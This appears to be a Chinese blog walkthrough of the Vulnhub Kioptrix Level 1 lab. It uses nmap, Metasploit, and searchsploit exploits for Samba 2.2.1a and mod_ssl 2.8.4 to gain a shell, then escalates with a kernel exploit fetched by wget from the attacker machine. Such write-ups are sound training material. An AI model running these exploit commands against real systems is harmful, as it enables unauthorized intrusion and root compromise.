Lab 1-Vulnhub - Kioptix Level 1

Vulnhub - Kioptix Level 1

一、前言

简介:

Vulnhub是一个提供各种漏洞环境的靶场平台。

下载地址:

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

网络问题:

症状:

1、将靶机网络适配器修改为Nat模式后启动靶机,使用nmap对网段进行扫描会发现扫描不到靶机IP地址。

解决方法:

1、将靶机在VMware中移除。

2、以记事本打开此文件。

3、删除所有以 "ethernet0" 开头的条目并保存更改。

4、 然后重新导入虚拟机,并重新添加虚拟网络适配器且将其网络模式设置为NAT模式。

5、开启虚拟机,并重新使用nmap对网段进行扫描

参考:

https://www.cnblogs.com/jason-huawen/p/16097208.html

靶场环境:

Kali IP:192.168.8.128

靶机 IP:192.168.8.129

网络适配器模式:NAT

二、Walkthrough

1、首先使用 nmap -sP 参数对网段进行扫描,扫描出靶机IP。

2、扫描出IP后使用 nmap -sV 参数对靶机进行服务和版本探测。

3、到这里后有几个思路,对开放端口进行深入信息收集。可以对80和443端口进行访问,看是否可以收集更多信息。(例如:CMS类型和版本、Web服务器类型和版本、操作系统类型和版本、目录扫描、robots.txt文件),如果CMS版本有历史漏洞可以尝试从该点切入。

Samba

由于Samba的版本nmap没有扫描出来,这里使用 msfconsole 命令启动MSF,使用MSF自带的smb_version进行搜索。

搜索到该模块后使用 use +序号 进行使用模块(这里是 use0 ),在使用该模块后使用 show options 命令查看该模块需要设置的功能点,这里发现RHOSTS 没有设置,将RHOSTS设置为靶机IP地址后,再次使用命令查看是否存在还需要设置的功能点,这里发现已经设置好了直接使用 run 命令使用模块,Samba版本为 2.2.1a

已知Samba版本使用searchsploit samba搜索到所有包含Samba的exp,这里使用可以远程命令执行的(网上搜的)。

Samba Remote Code Execution(RCE)

exp 文件路径为/usr/share/exploitdb/exploits/multiple/remote/10.c 使用cp命令将exp复制到合适的位置,我这里是复制到了/opt/exp文件夹下(需要使用root权限启动终端)。

使用gcc 10.c -o samba_exp命令编译exp(-o 是输出,后面的是输出的文件名),编译完成后使用chmod u+x命令为用户添加执行权限。

使用./samba_exp -b0 IP地址 命令启动(-b 参数是platform,0为Linux),启动成功后成功getshell。

Samba trans2open

在互联网中查找资料后得知还有这种利用方式,而且msf中已经集成了该模块,直接启动msfconsole,使用命令搜索。

搜索出来后直接使用 use 命令来使用并且设置LHOST、RHOSTS、Payload,但是这里遇到一个问题就是有时候会不成功,同一台Kali的另一个msfconsole窗口就可以成功获取shell。

在另一个窗口中成功getshell,这里已经是root权限不需要提权。

rpcbind

111端口为rpcbind服务,该服务存在漏洞(该漏洞可使攻击者在远程rpcbind绑定主机上任意大小的内存(每次攻击最高可达4GB),除非进程崩溃或者管理员挂起/重启rpcbind服务,否则该内存不会被释放)。

nmap扫描已知版本为 rpcbind 2 ,启动MSF 使用searchsploit命令看漏洞库中是否存在该漏洞。

1、使用msf自带的的模块扫描rpcbind,命令为

use auxiliary/scanner/misc/sunrpc_portmapper,设置 RHOSTS后直接run

2、由于没找到什么有用信息,这里使用 searchsploit rpcbind命令搜索一下发现搜索到了三个Exp,把这三个Exp都复制下来后挨个使用发现都没有作用。

26887.rb

41974.rb

20376.txt

里面的网址也都不能访问,所以rpcbind这条路作罢。

mod_ssl

由于nmap在信息收集的过程中收集到了mod_ssl的版本为2.8.4 ,这里使用命令searchsploit mod_ssl 2.8搜索Exp,复制搜索到的Exp到本地进行编译。

21671.c和764.c编译失败

47080.c

首先使用命令gcc 47080.c -o 47080进行编译发现编译失败,一番搜索后在后面添加参数 -lcrypto后编译成功,完整命令如下:

gcc 47080.c -o 47080 -lcrypto

使用命令./47080启动编译后的软件给我们了使用方法,在前期信息收集时可以得知操作系统为Redhat Linux Apache的版本为1.3.20

这里使用以下命令成功拿到低权限Shell,但是不知道为什么使用0x6a不成功。

./47080 0x6b 192.168.8.129(IP地址) 443 -c 50

后面就要考虑提权的问题了,提权的方法有很多,这里使用Linux内核漏洞提权,上面拿到低权限shell后使用uname -a命令查看内核版本。

直接搜索Exp并复制到/opt/exp目录下。

使用 python3 -m http.server 命令开开启HTTP服务。

在低权限shell中使用wget 192.168.8.128:8000/3.c 命令下载到靶机中,并使用gcc 3.c -o exp命令编译,编译后使用命令./exp启动,到这里提权成功。

三、总结

1、网络发现可以用netdiscover工具来找到靶机IP。

2、samba扫描工具可以使用以下几个

1、msf中的smb_version
2、enum4linux

热门相关:我有一张均富卡   都市最强小村医   一品侍卫   隐身侍卫   唐枭